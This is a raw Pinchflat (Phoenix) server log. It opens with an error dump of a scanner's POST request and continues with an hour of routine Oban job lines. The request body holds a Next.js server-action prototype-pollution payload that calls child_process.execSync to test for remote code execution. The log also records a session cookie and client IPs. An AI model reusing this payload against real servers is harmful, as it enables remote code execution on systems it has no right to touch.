"content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.112.212", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.76.112.212" }, method: "POST", body_length: 753, path_info: :undefined, qs: "", streamid: 3, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "POST", owner: #PID<0.248840.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: ["apps"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "753"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI"}, {"host", "pinchflat.guano.duckdns.org"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"x-forwarded-for", "35.76.112.212"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"}, {"x-real-ip", "35.76.112.212"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIB50M4oTb4CeY4AJWOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.248837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 48996}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.112.212", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.76.112.212" }, method: "POST", body_length: 753, pa (truncated) 06:10:00.033 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:20.776 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:50.778 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.034 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:20.780 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:50.782 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.035 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:20.784 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:50.786 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.036 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:20.788 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:50.790 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.037 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:20.792 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:50.794 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.038 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:20.796 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:50.798 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.039 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:20.800 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:50.802 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.040 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:20.804 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:50.806 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.041 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:20.808 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:50.810 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.042 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:20.812 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:50.814 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.043 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:20.816 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:50.818 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.044 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:20.820 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:50.821 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.045 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:20.824 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:50.827 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.046 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:20.829 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:50.831 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.047 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:20.833 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:50.835 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.048 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:20.837 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:50.839 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.049 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:20.841 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:50.843 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.050 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:20.845 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:50.847 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.051 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:20.849 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:50.851 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.052 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:20.853 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:50.855 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.053 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:20.857 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:50.859 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.055 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:20.861 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:50.863 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.056 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:20.865 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:50.867 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.057 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:20.869 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:50.871 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.058 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:20.873 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:50.875 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.059 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:20.877 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:50.879 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.060 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:20.881 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:50.883 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.061 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:20.885 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:50.887 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.062 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:20.889 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:50.891 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.063 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:20.893 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:50.896 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.064 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:20.898 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:50.900 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.065 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:20.902 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:50.904 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.066 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:20.906 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:50.908 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.067 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:20.910 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:50.912 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.068 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:20.914 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:50.916 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.069 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:20.918 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:50.920 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.070 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:20.922 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:50.924 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.071 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:20.926 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:50.928 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.072 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:20.930 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:50.932 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.073 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:20.934 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:50.936 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.074 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:20.938 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:50.940 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.075 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:20.942 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:50.944 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.076 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:20.946 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:50.948 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.077 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:20.950 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:50.952 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.078 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:20.954 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:50.956 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.079 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:20.958 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:50.960 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.080 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:20.962 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:50.964 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.081 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:20.966 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:50.968 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.082 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:20.970 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:50.972 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.083 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:20.974 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:50.976 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.084 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:20.978 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:50.980 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.085 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:20.982 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:50.984 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.086 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:20.986 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:50.988 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.087 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:20.990 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:50.992 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.088 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:20.994 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:50.996 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.089 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:20.998 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:51.000 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.090 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:21.002 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:51.004 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.091 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:21.006 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:51.008 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.092 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:21.010 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:51.012 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.093 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:21.014 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:51.016 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.094 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:21.018 [info] 